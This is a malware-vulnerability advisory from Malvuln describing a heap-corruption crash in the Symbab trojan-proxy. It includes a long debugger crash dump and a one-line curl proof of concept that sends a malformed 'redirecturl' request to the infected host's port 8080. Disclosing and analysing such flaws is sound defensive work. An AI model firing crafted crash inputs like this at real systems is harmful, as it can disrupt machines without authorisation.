Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/bffc519fbaf2d119bd307cd22368cdc7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Proxy.Win32.Symbab.o Vulnerability: Heap Corruption Description: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the "redirecturl" parameter causing a heap corruption. Family: Symbab Type: PE32 MD5: bffc519fbaf2d119bd307cd22368cdc7 Vuln ID: MVID-2022-0610 Disclosure: 06/06/2022 Memory Dump: (670.1e5c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003 edi=00000003 eip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:007> .ecxr eax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000 edi=00000000 eip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ntdll!RtlFreeHeap+0xa1: 776df2e1 8078ff05 cmp byte ptr [eax-1],5 ds:002b:0000028f=?? 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e *** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e FAULTING_IP: ntdll!RtlFreeHeap+a1 776df2e1 8078ff05 cmp byte ptr [eax-1],5 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 0000028f Attempt to read from address 0000028f PROCESS_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 0000028f READ_ADDRESS: 0000028f FOLLOWUP_IP: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c 004a260c 83c404 add esp,4 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001e5c BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument LAST_CONTROL_TRANSFER: from 744d7065 to 776df2e1 STACK_TEXT: 049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1 049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65 WARNING: Stack unwind information not available. Following frames may be wrong. 049fbf38 004a434a 049fff48 50545448 312e312f Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c 049fff68 004a43d7 00000290 00000290 00000004 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a 049fff80 77408654 000002d8 77408630 42500cba Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7 049fff94 77704a77 000002d8 37e18a47 00000000 kernel32!BaseThreadInitThunk+0x24 049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f 049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~7s; .ecxr ; kb SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c FOLLOWUP_NAME: MachineOwner MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7 IMAGE_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e DEBUG_FLR_IMAGE_TIMESTAMP: 4168069f FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c Followup: MachineOwner Exploit/PoC: curl "http://192.168.18.125:8080/?redirecturl=http://0x41414141" -v Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0) GET /?redirecturl=http://0x41414141 HTTP/1.1 Host: 192.168.18.125:8080 User-Agent: curl/7.47.1 Accept: */* HTTP 1.0, assume close after body HTTP/1.0 400 Bad Request Server: ProxyServer/0.0.1 Mime-Version: 1.0 Date: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html Content-Length: 24 Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Squid-Error: ERR_INVALID_URL 0 X-Cache: MISS from www.rambler.ru Connection: close Unsupported protocol Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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